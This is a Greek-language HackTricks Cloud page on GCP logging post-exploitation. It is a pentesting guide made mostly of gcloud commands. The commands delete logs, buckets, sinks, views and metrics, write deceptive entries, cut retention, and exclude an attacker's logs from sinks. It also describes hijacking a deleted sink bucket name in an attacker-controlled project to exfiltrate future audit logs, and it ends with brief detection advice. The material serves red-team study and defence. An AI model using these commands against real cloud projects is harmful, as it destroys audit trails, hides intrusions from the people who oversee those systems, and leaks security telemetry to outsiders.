Files
hacktricks-cloud/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
T

7.6 KiB

GCP - Logging Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

Βασικές Πληροφορίες

Για περισσότερες πληροφορίες δείτε:

{{#ref}} ../gcp-services/gcp-logging-enum.md {{#endref}}

Για άλλους τρόπους διατάραξης της παρακολούθησης δείτε:

{{#ref}} gcp-monitoring-post-exploitation.md {{#endref}}

Default Logging

Από προεπιλογή δεν θα εντοπιστείτε μόνο και μόνο επειδή εκτελείτε read actions. Για περισσότερες πληροφορίες δείτε την ενότητα Logging Enum.

Add Excepted Principal

Στο https://console.cloud.google.com/iam-admin/audit/allservices και στο https://console.cloud.google.com/iam-admin/audit είναι δυνατό να προστεθούν principals ώστε να μην δημιουργούνται logs. Ένας attacker θα μπορούσε να το εκμεταλλευτεί αυτό για να μην εντοπιστεί.

Read logs - logging.logEntries.list

Read log entries ```bash # Read logs gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json

Everything from a timestamp

gcloud logging read "timestamp >= "2023-01-01T00:00:00Z"" --limit=10 --format=json

Use these options to indicate a different bucket or view to use: --bucket=_Required --view=_Default

</details>

### `logging.logs.delete`

<details>

<summary>Διαγραφή καταχωρήσεων log</summary>
```bash
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete <log-name>

Εγγραφή logs - logging.logEntries.create

Εγγραφή log entry ```bash # Write a log entry to try to disrupt some system gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR ```

logging.buckets.update

Ενημέρωση διατήρησης log bucket ```bash # Set retention period to 1 day (_Required has a fixed one of 400days)

gcloud logging buckets update bucketlog --location= --description="New description" --retention-days=1

</details>

### `logging.buckets.delete`

<details>

<summary>Διαγραφή log bucket</summary>
```bash
# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=<location>

logging.links.delete

Διαγραφή συνδέσμου log ```bash # Delete link gcloud logging links delete --bucket --location ```

logging.views.delete

Διαγραφή logging view ```bash # Delete a logging view to remove access to anyone using it gcloud logging views delete --bucket= --location=global ```

logging.views.update

Ενημέρωση logging view για απόκρυψη δεδομένων ```bash # Update a logging view to hide data gcloud logging views update --log-filter="resource.type=gce_instance" --bucket= --location=global --description="New description for the log view" ```

logging.logMetrics.update

Ενημέρωση log-based metrics ```bash # Update log based metrics - logging.logMetrics.update gcloud logging metrics update --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID ```

logging.logMetrics.delete

Διαγραφή log-based metrics ```bash # Delete log based metrics - logging.logMetrics.delete gcloud logging metrics delete ```

logging.sinks.delete

Διαγραφή log sink ```bash # Delete sink - logging.sinks.delete gcloud logging sinks delete ```

logging.sinks.update

Ενημέρωση/διατάραξη log sink ```bash # Disable sink - logging.sinks.update gcloud logging sinks update --disabled

Createa filter to exclude attackers logs - logging.sinks.update

gcloud logging sinks update SINK_NAME --add-exclusion="name=exclude-info-logs,filter=severity<INFO"

Change where the sink is storing the data - logging.sinks.update

gcloud logging sinks update new-destination

Change the service account to one withuot permissions to write in the destination - logging.sinks.update

gcloud logging sinks update SINK_NAME --custom-writer-identity=attacker-service-account-email --project=PROJECT_ID

Remove explusions to try to overload with logs - logging.sinks.update

gcloud logging sinks update SINK_NAME --clear-exclusions

If the sink exports to BigQuery, an attacker might enable or disable the use of partitioned tables, potentially leading to inefficient querying and higher costs. - logging.sinks.update

gcloud logging sinks update SINK_NAME --use-partitioned-tables gcloud logging sinks update SINK_NAME --no-use-partitioned-tables

</details>

### Απαγωγή του bucket-name σε Cloud Logging sink - `storage.buckets.delete`

Τα Cloud Logging sinks μπορούν να εξάγουν συνεχώς logs σε έναν προορισμό Cloud Storage όπως `storage.googleapis.com/<bucket-name>` ή `storage.googleapis.com/<bucket-name>/<prefix>`. Αν ένας attacker μπορεί να διαγράψει το destination bucket, αλλά δεν μπορεί να κάνει update το sink, μπορεί παρ' όλα αυτά να ανακατευθύνει μελλοντικά exported logs αναδημιουργώντας το ίδιο globally-unique bucket name σε ένα attacker-controlled project.

Αυτό είναι χρήσιμο όταν το compromised principal έχει destructive storage permissions όπως `storage.buckets.delete`, `storage.objects.delete`, και `storage.objects.list`, αλλά δεν έχει `logging.sinks.update`.
```bash
# Find sinks that export to Cloud Storage
gcloud logging sinks list --project <PROJECT_ID> \
--format='table(name,destination,disabled,writerIdentity)'

# Empty and delete the destination bucket, if permitted
gcloud storage rm -r gs://<BUCKET_NAME>

# Recreate the same bucket name in the attacker-controlled project
gcloud storage buckets create gs://<BUCKET_NAME> \
--project <ATTACKER_PROJECT_ID> \
--location <LOCATION>

# Allow the sink writer identity to write objects into the replacement bucket
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
--member='serviceAccount:<SINK_WRITER_IDENTITY>' \
--role='roles/storage.objectCreator' \
--project <ATTACKER_PROJECT_ID>

Πιθανός Αντίκτυπος: αθόρυβη μακροπρόθεσμη exfiltration μελλοντικών audit logs, application logs, security telemetry και οποιωνδήποτε άλλων events ταιριάζουν στο sink filter.

Detection & Mitigation: ειδοποιείτε για διαγραφή buckets που αναφέρονται από active sinks, κάντε inventory τα sink destinations για dangling bucket names, περιορίστε το storage.buckets.delete σε logging destinations και προστατέψτε τα export buckets με retention/hold controls όπου είναι δυνατόν.

{{#include ../../../banners/hacktricks-training.md}}